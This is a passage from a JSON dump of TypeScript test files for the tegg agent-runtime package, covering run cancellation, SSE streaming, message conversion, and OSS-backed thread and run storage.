      if (updates.status) {\n          statusHistory.push(updates.status);\n        }\n        return origUpdateRun(runId, updates);\n      };\n\n      const asyncResult = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hello' }] },\n      });\n\n      await waitForRunStatus(store, asyncResult.id, RunStatus.InProgress);\n      statusHistory.length = 0;\n\n      await runtime.cancelRun(asyncResult.id);\n\n      const cancellingIdx = statusHistory.indexOf(RunStatus.Cancelling);\n      const cancelledIdx = statusHistory.indexOf(RunStatus.Cancelled);\n      assert(cancellingIdx >= 0, 'cancelling should have been written');\n      assert(cancelledIdx > cancellingIdx, 'cancelled should come after cancelling');\n    });\n\n    it('should throw AgentConflictError when cancelling a completed run', async () => {\n      const result = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      assert.equal(result.status, RunStatus.Completed);\n\n      await assert.rejects(\n        () => runtime.cancelRun(result.id),\n        (err: unknown) => {\n          assert(err instanceof AgentConflictError);\n          return true;\n        },\n      );\n    });\n\n    it('should not overwrite cancelling status with completed (cross-worker scenario)', async () => {\n      const resolveRef: { resolve?: () => void } = {};\n      executor.execRun = createBlockingExecRun(resolveRef, [\n        {\n          message: { role: MessageRole.Assistant, content: [{ type: 'text', text: 'done' }] },\n        },\n        {\n          usage: { promptTokens: 1, completionTokens: 1 },\n        },\n      ]);\n\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n\n      await waitForRunStatus(store, result.id, RunStatus.InProgress);\n\n      await store.updateRun(result.id, { status: RunStatus.Cancelling });\n\n      resolveRef.resolve!();\n      await runtime.waitForPendingTasks();\n\n      const run = await store.getRun(result.id);\n      assert.equal(run.status, RunStatus.Cancelling);\n    });\n\n    it('should not overwrite terminal state when run completes during cancellation (TOCTOU)', async () => {\n      const resolveRef: { resolve?: () => void } = {};\n      executor.execRun = createBlockingExecRun(resolveRef, [\n        {\n          message: { role: MessageRole.Assistant, content: [{ type: 'text', text: 'done' }] },\n        },\n        { usage: { promptTokens: 1, completionTokens: 1 } },\n      ]);\n\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      await waitForRunStatus(store, result.id, RunStatus.InProgress);\n\n      const origUpdateRun = store.updateRun.bind(store);\n      store.updateRun = async (runId: string, updates: Partial<RunRecord>) => {\n        await origUpdateRun(runId, updates);\n        if (updates.status === RunStatus.Cancelling) {\n          await origUpdateRun(runId, { status: RunStatus.Completed, completedAt: Math.floor(Date.now() / 1000) });\n          store.updateRun = origUpdateRun;\n        }\n      };\n\n      resolveRef.resolve!();\n\n      const cancelResult = await runtime.cancelRun(result.id);\n      assert.equal(cancelResult.status, RunStatus.Completed);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/HttpSSEWriter.test.ts",
    "content": "import assert from 'node:assert';\nimport { EventEmitter } from 'node:events';\n\nimport { describe, it, beforeEach } from 'vitest';\n\nimport { HttpSSEWriter } from '../src/HttpSSEWriter.ts';\n\n/**\n * Minimal mock of Node.js ServerResponse for testing HttpSSEWriter.\n * Captures writeHead/write/end calls and emits 'close' on demand.\n */\nclass MockServerResponse extends EventEmitter {\n  writtenHead: { statusCode: number; headers: Record<string, string> } | null = null;\n  chunks: string[] = [];\n  ended = false;\n\n  writeHead(statusCode: number, headers: Record<string, string>): void {\n    this.writtenHead = { statusCode, headers };\n  }\n\n  write(chunk: string): boolean {\n    this.chunks.push(chunk);\n    return true;\n  }\n\n  end(): void {\n    this.ended = true;\n  }\n}\n\ndescribe('test/HttpSSEWriter.test.ts', () => {\n  let res: MockServerResponse;\n\n  beforeEach(() => {\n    res = new MockServerResponse();\n  });\n\n  it('should delay headers until first writeEvent', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n\n    // Headers not sent yet after construction\n    assert.equal(res.writtenHead, null);\n    assert.equal(res.chunks.length, 0);\n\n    writer.writeEvent('test', { foo: 'bar' });\n\n    // Now headers should be sent\n    assert.ok(res.writtenHead);\n    assert.equal(res.writtenHead.statusCode, 200);\n  });\n\n  it('should use lowercase header keys', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n    writer.writeEvent('ping', {});\n\n    assert.ok(res.writtenHead);\n    assert.equal(res.writtenHead.headers['content-type'], 'text/event-stream');\n    assert.equal(res.writtenHead.headers['cache-control'], 'no-cache');\n    assert.equal(res.writtenHead.headers['connection'], 'keep-alive');\n  });\n\n  it('should format SSE events correctly', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n    writer.writeEvent('message', { text: 'hello' });\n\n    assert.equal(res.chunks.length, 1);\n    assert.equal(res.chunks[0], 'event: message\\ndata: {\"text\":\"hello\"}\\n\\n');\n  });\n\n  it('should not write after connection closes', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n\n    // Simulate client disconnect\n    res.emit('close');\n\n    assert.equal(writer.closed, true);\n    writer.writeEvent('late', { data: 'ignored' });\n\n    // No headers sent, no chunks written\n    assert.equal(res.writtenHead, null);\n    assert.equal(res.chunks.length, 0);\n  });\n\n  it('should trigger onClose callbacks when connection closes', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n    const calls: number[] = [];\n\n    writer.onClose(() => calls.push(1));\n    writer.onClose(() => calls.push(2));\n\n    res.emit('close');\n\n    assert.deepStrictEqual(calls, [1, 2]);\n  });\n\n  it('should handle end() idempotently', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n\n    assert.equal(writer.closed, false);\n\n    writer.end();\n    assert.equal(writer.closed, true);\n    assert.equal(res.ended, true);\n\n    // Reset flag to verify second end() doesn't call res.end() again\n    res.ended = false;\n    writer.end();\n    assert.equal(res.ended, false); // Not called again\n  });\n\n  it('should write multiple events sequentially', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n\n    writer.writeEvent('event1', { n: 1 });\n    writer.writeEvent('event2', { n: 2 });\n    writer.writeEvent('event3', { n: 3 });\n\n    assert.equal(res.chunks.length, 3);\n    assert.equal(res.chunks[0], 'event: event1\\ndata: {\"n\":1}\\n\\n');\n    assert.equal(res.chunks[1], 'event: event2\\ndata: {\"n\":2}\\n\\n');\n    assert.equal(res.chunks[2], 'event: event3\\ndata: {\"n\":3}\\n\\n');\n\n    // Headers sent only once\n    assert.ok(res.writtenHead);\n  });\n\n  it('should start with closed=false', () => {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    const writer = new HttpSSEWriter(res as any);\n    assert.equal(writer.closed, false);\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/MessageConverter.test.ts",
    "content": "import assert from 'node:assert';\n\nimport type { AgentStreamMessage, AgentStreamMessagePayload } from '@eggjs/tegg-types/agent-runtime';\nimport { MessageRole, MessageStatus, AgentObjectType, ContentBlockType } from '@eggjs/tegg-types/agent-runtime';\nimport { describe, it } from 'vitest';\n\nimport { MessageConverter } from '../src/MessageConverter.ts';\n\ndescribe('test/MessageConverter.test.ts', () => {\n  describe('toContentBlocks', () => {\n    it('should return empty array for falsy payload', () => {\n      const result = MessageConverter.toContentBlocks(undefined as unknown as AgentStreamMessagePayload);\n      assert.deepStrictEqual(result, []);\n    });\n\n    it('should convert string content to a single text block', () => {\n      const payload: AgentStreamMessagePayload = { content: 'hello world' };\n      const result = MessageConverter.toContentBlocks(payload);\n      assert.equal(result.length, 1);\n      assert.equal(result[0].type, ContentBlockType.Text);\n      assert.equal(result[0].text.value, 'hello world');\n      assert.deepStrictEqual(result[0].text.annotations, []);\n    });\n\n    it('should convert array content parts to text blocks', () => {\n      const payload: AgentStreamMessagePayload = {\n        content: [\n          { type: 'text', text: 'part1' },\n          { type: 'text', text: 'part2' },\n        ],\n      };\n      const result = MessageConverter.toContentBlocks(payload);\n      assert.equal(result.length, 2);\n      assert.equal(result[0].text.value, 'part1');\n      assert.equal(result[1].text.value, 'part2');\n    });\n\n    it('should filter out non-text content parts', () => {\n      const payload: AgentStreamMessagePayload = {\n        content: [\n          { type: 'text', text: 'keep' },\n          { type: 'image' as 'text', text: 'discard' },\n        ],\n      };\n      const result = MessageConverter.toContentBlocks(payload);\n      assert.equal(result.length, 1);\n      assert.equal(result[0].text.value, 'keep');\n    });\n\n    it('should return empty array for non-string non-array content', () => {\n      const payload = { content: 123 } as unknown as AgentStreamMessagePayload;\n      const result = MessageConverter.toContentBlocks(payload);\n      assert.deepStrictEqual(result, []);\n    });\n  });\n\n  describe('toMessageObject', () => {\n    it('should create a completed assistant message', () => {\n      const payload: AgentStreamMessagePayload = { content: 'reply' };\n      const msg = MessageConverter.toMessageObject(payload, 'run_1');\n\n      assert.ok(msg.id.startsWith('msg_'));\n      assert.equal(msg.object, AgentObjectType.ThreadMessage);\n      assert.equal(msg.runId, 'run_1');\n      assert.equal(msg.role, MessageRole.Assistant);\n      assert.equal(msg.status, MessageStatus.Completed);\n      assert.equal(typeof msg.createdAt, 'number');\n      const content = msg.content;\n      assert.equal(content.length, 1);\n      assert.equal(content[0].text.value, 'reply');\n    });\n\n    it('should work without runId', () => {\n      const payload: AgentStreamMessagePayload = { content: 'test' };\n      const msg = MessageConverter.toMessageObject(payload);\n      assert.equal(msg.runId, undefined);\n    });\n  });\n\n  describe('createStreamMessage', () => {\n    it('should create an in-progress message with empty content', () => {\n      const msg = MessageConverter.createStreamMessage('msg_abc', 'run_1');\n\n      assert.equal(msg.id, 'msg_abc');\n      assert.equal(msg.object, AgentObjectType.ThreadMessage);\n      assert.equal(msg.runId, 'run_1');\n      assert.equal(msg.role, MessageRole.Assistant);\n      assert.equal(msg.status, MessageStatus.InProgress);\n      assert.deepStrictEqual(msg.content, []);\n      assert.equal(typeof msg.createdAt, 'number');\n    });\n  });\n\n  describe('extractFromStreamMessages', () => {\n    it('should extract messages and accumulate usage', () => {\n      const messages: AgentStreamMessage[] = [\n        { message: { content: 'chunk1' }, usage: { promptTokens: 10, completionTokens: 5 } },\n        { message: { content: 'chunk2' }, usage: { promptTokens: 0, completionTokens: 8 } },\n      ];\n      const { output, usage } = MessageConverter.extractFromStreamMessages(messages, 'run_1');\n\n      assert.equal(output.length, 2);\n      assert.equal(output[0].content[0].text.value, 'chunk1');\n      assert.equal(output[1].content[0].text.value, 'chunk2');\n      assert.ok(usage);\n      assert.equal(usage.promptTokens, 10);\n      assert.equal(usage.completionTokens, 13);\n      assert.equal(usage.totalTokens, 23);\n    });\n\n    it('should return undefined usage when no usage info', () => {\n      const messages: AgentStreamMessage[] = [{ message: { content: 'data' } }];\n      const { output, usage } = MessageConverter.extractFromStreamMessages(messages);\n      assert.equal(output.length, 1);\n      assert.equal(usage, undefined);\n    });\n\n    it('should handle messages without message payload (usage only)', () => {\n      const messages: AgentStreamMessage[] = [{ usage: { promptTokens: 5, completionTokens: 3 } }];\n      const { output, usage } = MessageConverter.extractFromStreamMessages(messages);\n      assert.equal(output.length, 0);\n      assert.ok(usage);\n      assert.equal(usage.totalTokens, 8);\n    });\n\n    it('should handle empty message array', () => {\n      const { output, usage } = MessageConverter.extractFromStreamMessages([]);\n      assert.equal(output.length, 0);\n      assert.equal(usage, undefined);\n    });\n  });\n\n  describe('toInputMessageObjects', () => {\n    it('should convert user and assistant messages', () => {\n      const messages = [\n        { role: MessageRole.User as MessageRole, content: 'hi' },\n        { role: MessageRole.Assistant as MessageRole, content: 'hello' },\n      ];\n      const result = MessageConverter.toInputMessageObjects(messages, 'thread_1');\n\n      assert.equal(result.length, 2);\n      assert.equal(result[0].role, MessageRole.User);\n      assert.equal(result[0].threadId, 'thread_1');\n      assert.equal(result[1].role, MessageRole.Assistant);\n\n      const content0 = result[0].content;\n      assert.equal(content0[0].text.value, 'hi');\n    });\n\n    it('should filter out system messages', () => {\n      const messages = [\n        { role: MessageRole.System as MessageRole, content: 'you are a bot' },\n        { role: MessageRole.User as MessageRole, content: 'hi' },\n      ];\n      const result = MessageConverter.toInputMessageObjects(messages);\n      assert.equal(result.length, 1);\n      assert.equal(result[0].role, MessageRole.User);\n    });\n\n    it('should handle array content parts', () => {\n      const messages = [\n        {\n          role: MessageRole.User as MessageRole,\n          content: [\n            { type: 'text' as const, text: 'part1' },\n            { type: 'text' as const, text: 'part2' },\n          ],\n        },\n      ];\n      const result = MessageConverter.toInputMessageObjects(messages);\n      const content = result[0].content;\n      assert.equal(content.length, 2);\n      assert.equal(content[0].text.value, 'part1');\n      assert.equal(content[1].text.value, 'part2');\n    });\n\n    it('should work without threadId', () => {\n      const messages = [{ role: MessageRole.User as MessageRole, content: 'hi' }];\n      const result = MessageConverter.toInputMessageObjects(messages);\n      assert.equal(result[0].threadId, undefined);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/OSSAgentStore.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { describe, it, beforeEach, vi } from 'vitest';\n\nimport { AgentNotFoundError } from '../src/index.ts';\nimport { OSSAgentStore } from '../src/index.ts';\nimport { MapStorageClient, MapStorageClientWithoutAppend } from './helpers.ts';\n\ndescribe('test/OSSAgentStore.test.ts', () => {\n  let store: OSSAgentStore;\n\n  beforeEach(() => {\n    store = new OSSAgentStore({ client: new MapStorageClient() });\n  });\n\n  describe('threads', () => {\n    it('should create a thread', async () => {\n      const thread = await store.createThread();\n      assert(thread.id.startsWith('thread_'));\n      assert.equal(thread.object, 'thread');\n      assert(Array.isArray(thread.messages));\n      assert.equal(thread.messages.length, 0);\n      assert(typeof thread.createdAt === 'number');\n      assert(thread.createdAt <= Math.floor(Date.now() / 1000));\n    });\n\n    it('should create a thread with metadata', async () => {\n      const thread = await store.createThread({ key: 'value' });\n      assert.deepEqual(thread.metadata, { key: 'value' });\n    });\n\n    it('should create a thread with empty metadata by default', async () => {\n      const thread = await store.createThread();\n      assert.deepEqual(thread.metadata, {});\n    });\n\n    it('should get a thread by id', async () => {\n      const created = await store.createThread();\n      const fetched = await store.getThread(created.id);\n      assert.equal(fetched.id, created.id);\n      assert.equal(fetched.object, 'thread');\n      assert.equal(fetched.createdAt, created.createdAt);\n    });\n\n    it('should return empty messages for a new thread', async () => {\n      const thread = await store.createThread();\n      const fetched = await store.getThread(thread.id);\n      assert.deepEqual(fetched.messages, []);\n    });\n\n    it('should throw AgentNotFoundError for non-existent thread', async () => {\n      await assert.rejects(\n        () => store.getThread('thread_non_existent'),\n        (err: unknown) => {\n          assert(err instanceof AgentNotFoundError);\n          assert.equal(err.status, 404);\n          assert.match(err.message, /Thread thread_non_existent not found/);\n          return true;\n        },\n      );\n    });\n\n    it('should append messages to a thread', async () => {\n      const thread = await store.createThread();\n      await store.appendMessages(thread.id, [\n        {\n          id: 'msg_1',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'user',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'Hello', annotations: [] } }],\n        },\n        {\n          id: 'msg_2',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'assistant',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'Hi!', annotations: [] } }],\n        },\n      ]);\n      const fetched = await store.getThread(thread.id);\n      assert.equal(fetched.messages.length, 2);\n      assert.equal(fetched.messages[0].id, 'msg_1');\n      assert.equal(fetched.messages[1].id, 'msg_2');\n    });\n\n    it('should append messages incrementally', async () => {\n      const thread = await store.createThread();\n      await store.appendMessages(thread.id, [\n        {\n          id: 'msg_1',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'user',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'First', annotations: [] } }],\n        },\n      ]);\n      await store.appendMessages(thread.id, [\n        {\n          id: 'msg_2',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'assistant',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'Second', annotations: [] } }],\n        },\n      ]);\n      const fetched = await store.getThread(thread.id);\n      assert.equal(fetched.messages.length, 2);\n      assert.equal(fetched.messages[0].id, 'msg_1');\n      assert.equal(fetched.messages[1].id, 'msg_2');\n    });\n\n    it('should throw AgentNotFoundError when appending to non-existent thread', async () => {\n      await assert.rejects(\n        () =>\n          store.appendMessages('thread_non_existent', [\n            {\n              id: 'msg_1',\n              object: 'thread.message',\n              createdAt: Math.floor(Date.now() / 1000),\n              role: 'user',\n              status: 'completed',\n              content: [{ type: 'text', text: { value: 'Hello', annotations: [] } }],\n            },\n          ]),\n        (err: unknown) => {\n          assert(err instanceof AgentNotFoundError);\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('threads (without append)', () => {\n    it('should fall back to get-concat-put when client has no append', async () => {\n      const fallbackStore = new OSSAgentStore({ client: new MapStorageClientWithoutAppend() });\n      const thread = await fallbackStore.createThread();\n      await fallbackStore.appendMessages(thread.id, [\n        {\n          id: 'msg_1',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'user',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'Hello', annotations: [] } }],\n        },\n      ]);\n      await fallbackStore.appendMessages(thread.id, [\n        {\n          id: 'msg_2',\n          object: 'thread.message',\n          createdAt: Math.floor(Date.now() / 1000),\n          role: 'assistant',\n          status: 'completed',\n          content: [{ type: 'text', text: { value: 'Hi!', annotations: [] } }],\n        },\n      ]);\n      const fetched = await fallbackStore.getThread(thread.id);\n      assert.equal(fetched.messages.length, 2);\n      assert.equal(fetched.messages[0].id, 'msg_1');\n      assert.equal(fetched.messages[1].id, 'msg_2');\n    });\n  });\n\n  describe('runs', () => {\n    it('should create a run', async () => {\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }]);\n      assert(run.id.startsWith('run_'));\n      assert.equal(run.object, 'thread.run');\n      assert.equal(run.status, 'queued');\n      assert.equal(run.input.length, 1);\n      assert(typeof run.createdAt === 'number');\n      assert(run.createdAt <= Math.floor(Date.now() / 1000));\n    });\n\n    it('should create a run with threadId and config', async () => {\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }], 'thread_123', { timeoutMs: 5000 });\n      assert.equal(run.threadId, 'thread_123');\n      assert.deepEqual(run.config, { timeoutMs: 5000 });\n    });\n\n    it('should create a run with metadata', async () => {\n      const meta = { user_id: 'u_1', session: 'abc' };\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }], 'thread_123', undefined, meta);\n      assert.deepEqual(run.metadata, meta);\n\n      const fetched = await store.getRun(run.id);\n      assert.deepEqual(fetched.metadata, meta);\n    });\n\n    it('should preserve metadata across updateRun', async () => {\n      const meta = { tag: 'test' };\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }], undefined, undefined, meta);\n      await store.updateRun(run.id, { status: 'in_progress', startedAt: Math.floor(Date.now() / 1000) });\n      const fetched = await store.getRun(run.id);\n      assert.equal(fetched.status, 'in_progress');\n      assert.deepEqual(fetched.metadata, meta);\n    });\n\n    it('should get a run by id', async () => {\n      const created = await store.createRun([{ role: 'user', content: 'Hello' }]);\n      const fetched = await store.getRun(created.id);\n      assert.equal(fetched.id, created.id);\n      assert.equal(fetched.status, 'queued');\n    });\n\n    it('should throw AgentNotFoundError for non-existent run', async () => {\n      await assert.rejects(\n        () => store.getRun('run_non_existent'),\n        (err: unknown) => {\n          assert(err instanceof AgentNotFoundError);\n          assert.equal(err.status, 404);\n          assert.match(err.message, /Run run_non_existent not found/);\n          return true;\n        },\n      );\n    });\n\n    it('should update a run', async () => {\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }]);\n      await store.updateRun(run.id, {\n        status: 'completed',\n        output: [\n          {\n            id: 'msg_1',\n            object: 'thread.message',\n            createdAt: Math.floor(Date.now() / 1000),\n            role: 'assistant',\n            status: 'completed',\n            content: [{ type: 'text', text: { value: 'World', annotations: [] } }],\n          },\n        ],\n        completedAt: Math.floor(Date.now() / 1000),\n      });\n      const fetched = await store.getRun(run.id);\n      assert.equal(fetched.status, 'completed');\n      assert(fetched.output);\n      assert.equal(fetched.output.length, 1);\n      assert(typeof fetched.completedAt === 'number');\n    });\n\n    it('should not allow overwriting id or object via updateRun', async () => {\n      const run = await store.createRun([{ role: 'user', content: 'Hello' }]);\n      await store.updateRun(run.id, {\n        id: 'run_hacked',\n        object: 'thread' as never,\n        status: 'completed',\n      });\n      const fetched = await store.getRun(run.id);\n      assert.equal(fetched.id, run.id);\n      assert.equal(fetched.object, 'thread.run');\n      assert.equal(fetched.status, 'completed');\n    });\n  });\n\n  describe('init / destroy', () => {\n    it('should call client init when present', async () => {\n      const client = new MapStorageClient();\n      client.init = vi.fn();\n      const s = new OSSAgentStore({ client });\n      await s.init();\n      assert.equal((client.init as ReturnType<typeof vi.fn>).mock.calls.length, 1);\n    });\n\n    it('should call client destroy when present', async () => {\n      const client = new MapStorageClient();\n      client.destroy = vi.fn();\n      const s = new OSSAgentStore({ client });\n      await s.destroy();\n      assert.equal((client.destroy as ReturnType<typeof vi.fn>).mock.calls.length, 1);\n    });\n\n    it('should not throw when client has no init/destroy', async () => {\n      const s = new OSSAgentStore({ client: new MapStorageClient() });\n      await s.init();\n      await s.destroy();\n    });\n  });\n\n  describe('prefix', () => {\n    it('should use prefix in storage keys', async () => {\n      const client = new MapStorageClient();\n      const prefixedStore = new OSSAgentStore({ client, prefix: 'myapp/' });\n\n      const thread = await prefixedStore.createThread();\n      // Verify we can get it back (proves the prefix is used consistently)\n      const fetched = await prefixedStore.getThread(thread.id);\n      assert.equal(fetched.id, thread.id);\n\n      const run = await prefixedStore.createRun([{ role: 'user', content: 'Hello' }]);\n      const fetchedRun = await prefixedStore.getRun(run.id);\n      assert.equal(fetchedRun.id, run.id);\n    });\n\n    it('should normalize prefix without trailing slash', async () => {\n      const client = new MapStorageClient();\n      const withSlash = new OSSAgentStore({ client, prefix: 'myapp/' });\n      const withoutSlash = new OSSAgentStore({ client, prefix: 'myapp' });\n\n      // Both stores should write to the same keys\n      const thread = await withSlash.createThread();\n      const fetched = await withoutSlash.getThread(thread.id);\n      assert.equal(fetched.id, thread.id);\n    });\n\n    it('should isolate data between different prefixes', async () => {\n      const client = new MapStorageClient();\n      const store1 = new OSSAgentStore({ client, prefix: 'app1/' });\n      const store2 = new OSSAgentStore({ client, prefix: 'app2/' });\n\n      const thread = await store1.createThread();\n      await assert.rejects(\n        () => store2.getThread(thread.id),\n        (err: unknown) => {\n          assert(err instanceof AgentNotFoundError);\n          return true;\n        },\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/OSSObjectStorageClient.test.ts",
    "content": "import assert from 'node:assert';\n\nimport type { OSSObject } from 'oss-client';\nimport { describe, it, vi, beforeEach } from 'vitest';\n\nimport { OSSObjectStorageClient } from '../src/OSSObjectStorageClient.ts';\n\ndescribe('test/OSSObjectStorageClient.test.ts', () => {\n  let client: OSSObjectStorageClient;\n  let mockOSS: {\n    put: ReturnType<typeof vi.fn>;\n    get: ReturnType<typeof vi.fn>;\n    append: ReturnType<typeof vi.fn>;\n    head: ReturnType<typeof vi.fn>;\n  };\n\n  beforeEach(() => {\n    mockOSS = {\n      put: vi.fn(),\n      get: vi.fn(),\n      append: vi.fn(),\n      head: vi.fn(),\n    };\n    client = new OSSObjectStorageClient(mockOSS as unknown as OSSObject);\n  });\n\n  describe('put', () => {\n    it('should pass Buffer to SDK put', async () => {\n      mockOSS.put.mockResolvedValue({});\n      await client.put('threads/t1.json', '{\"id\":\"t1\"}');\n\n      assert.equal(mockOSS.put.mock.calls.length, 1);\n      const [key, body] = mockOSS.put.mock.calls[0];\n      assert.equal(key, 'threads/t1.json');\n      assert(Buffer.isBuffer(body));\n      assert.equal(body.toString('utf-8'), '{\"id\":\"t1\"}');\n    });\n  });\n\n  describe('get', () => {\n    it('should return string when content is Buffer', async () => {\n      mockOSS.get.mockResolvedValue({\n        content: Buffer.from('{\"id\":\"t1\"}', 'utf-8'),\n      });\n      const result = await client.get('threads/t1.json');\n      assert.equal(result, '{\"id\":\"t1\"}');\n    });\n\n    it('should return string when content is non-Buffer', async () => {\n      mockOSS.get.mockResolvedValue({\n        content: '{\"id\":\"t1\"}',\n      });\n      const result = await client.get('threads/t1.json');\n      assert.equal(result, '{\"id\":\"t1\"}');\n    });\n\n    it('should return null when content is empty', async () => {\n      mockOSS.get.mockResolvedValue({ content: null });\n      const result = await client.get('threads/t1.json');\n      assert.equal(result, null);\n    });\n\n    it('should return null for NoSuchKey error', async () => {\n      const err = new Error('Object not exists');\n      (err as Error & { code: string }).code = 'NoSuchKey';\n      mockOSS.get.mockRejectedValue(err);\n\n      const result = await client.get('threads/nonexistent.json');\n      assert.equal(result, null);\n    });\n\n    it('should re-throw non-NoSuchKey errors', async () => {\n      const err = new Error('Network failure');\n      mockOSS.get.mockRejectedValue(err);\n\n      await assert.rejects(\n        () => client.get('threads/t1.json'),\n        (thrown: unknown) => {\n          assert(thrown instanceof Error);\n          assert.equal(thrown.message, 'Network failure');\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('append', () => {\n    it('should create new object with position 0 on first append', async () => {\n      mockOSS.append.mockResolvedValue({ nextAppendPosition: '13' });\n      await client.append('msgs.jsonl', '{\"id\":\"m1\"}\\n');\n\n      assert.equal(mockOSS.append.mock.calls.length, 1);\n      const [key, buf, opts] = mockOSS.append.mock.calls[0];\n      assert.equal(key, 'msgs.jsonl');\n      assert(Buffer.isBuffer(buf));\n      assert.equal(buf.toString('utf-8'), '{\"id\":\"m1\"}\\n');\n      assert.equal(opts.position, 0);\n    });\n\n    it('should use cached nextAppendPosition on subsequent appends', async () => {\n      mockOSS.append.mockResolvedValueOnce({ nextAppendPosition: '13' });\n      await client.append('msgs.jsonl', '{\"id\":\"m1\"}\\n');\n\n      mockOSS.append.mockResolvedValueOnce({ nextAppendPosition: '26' });\n      await client.append('msgs.jsonl', '{\"id\":\"m2\"}\\n');\n\n      assert.equal(mockOSS.append.mock.calls.length, 2);\n      assert.equal(mockOSS.append.mock.calls[1][2].position, 13);\n    });\n\n    it('should fall back to HEAD + retry on PositionNotEqualToLength', async () => {\n      const posErr = new Error('Position mismatch');\n      (posErr as Error & { code: string }).code = 'PositionNotEqualToLength';\n      mockOSS.append.mockRejectedValueOnce(posErr);\n      mockOSS.head.mockResolvedValue({ res: { headers: { 'content-length': '50' } } });\n      mockOSS.append.mockResolvedValueOnce({ nextAppendPosition: '63' });\n\n      await client.append('msgs.jsonl', '{\"id\":\"m1\"}\\n');\n\n      // First attempt failed, then HEAD, then retry\n      assert.equal(mockOSS.append.mock.calls.length, 2);\n      assert.equal(mockOSS.head.mock.calls.length, 1);\n      assert.equal(mockOSS.append.mock.calls[1][2].position, 50);\n    });\n\n    it('should re-throw non-position errors', async () => {\n      const err = new Error('Network failure');\n      mockOSS.append.mockRejectedValue(err);\n\n      await assert.rejects(\n        () => client.append('msgs.jsonl', '{\"id\":\"m1\"}\\n'),\n        (thrown: unknown) => {\n          assert(thrown instanceof Error);\n          assert.equal(thrown.message, 'Network failure');\n          return true;\n        },\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/RunBuilder.test.ts",
    "content": "import assert from 'node:assert';\n\nimport type { RunRecord, MessageObject } from '@eggjs/tegg-types/agent-runtime';\nimport { RunStatus, AgentObjectType, AgentErrorCode } from '@eggjs/tegg-types/agent-runtime';\nimport { InvalidRunStateTransitionError } from '@eggjs/tegg-types/agent-runtime';\nimport { describe, it } from 'vitest';\n\nimport { RunBuilder } from '../src/RunBuilder.ts';\nimport type { RunUsage } from '../src/RunBuilder.ts';\n\nfunction makeRunRecord(overrides?: Partial<RunRecord>): RunRecord {\n  return {\n    id: 'run_1',\n    object: AgentObjectType.ThreadRun,\n    threadId: 'thread_1',\n    status: RunStatus.Queued,\n    input: [{ role: 'user', content: 'hello' }],\n    createdAt: 1000,\n    ...overrides,\n  };\n}\n\ndescribe('test/RunBuilder.test.ts', () => {\n  describe('create and snapshot', () => {\n    it('should create from a queued RunRecord and produce a valid snapshot', () => {\n      const record = makeRunRecord();\n      const rb = RunBuilder.create(record, 'thread_1');\n      const snap = rb.snapshot();\n\n      assert.equal(snap.id, 'run_1');\n      assert.equal(snap.object, AgentObjectType.ThreadRun);\n      assert.equal(snap.createdAt, 1000);\n      assert.equal(snap.threadId, 'thread_1');\n      assert.equal(snap.status, RunStatus.Queued);\n      assert.equal(snap.startedAt, null);\n      assert.equal(snap.completedAt, null);\n      assert.equal(snap.cancelledAt, null);\n      assert.equal(snap.failedAt, null);\n      assert.equal(snap.usage, null);\n      assert.equal(snap.lastError, undefined);\n    });\n\n    it('should restore all mutable fields from a completed RunRecord', () => {\n      const record = makeRunRecord({\n        status: RunStatus.Completed,\n        startedAt: 1001,\n        completedAt: 1002,\n        output: [\n          {\n            id: 'msg_1',\n            object: 'thread.message',\n            createdAt: 1001,\n            role: 'assistant',\n            status: 'completed',\n            content: [],\n          },\n        ],\n        usage: { promptTokens: 10, completionTokens: 5, totalTokens: 15 },\n        metadata: { key: 'value' },\n        config: { maxIterations: 10 },\n      });\n      const snap = RunBuilder.create(record, 'thread_1').snapshot();\n\n      assert.equal(snap.status, RunStatus.Completed);\n      assert.equal(snap.startedAt, 1001);\n      assert.equal(snap.completedAt, 1002);\n      assert.equal(snap.output?.length, 1);\n      assert.deepStrictEqual(snap.usage, { promptTokens: 10, completionTokens: 5, totalTokens: 15 });\n      assert.deepStrictEqual(snap.metadata, { key: 'value' });\n      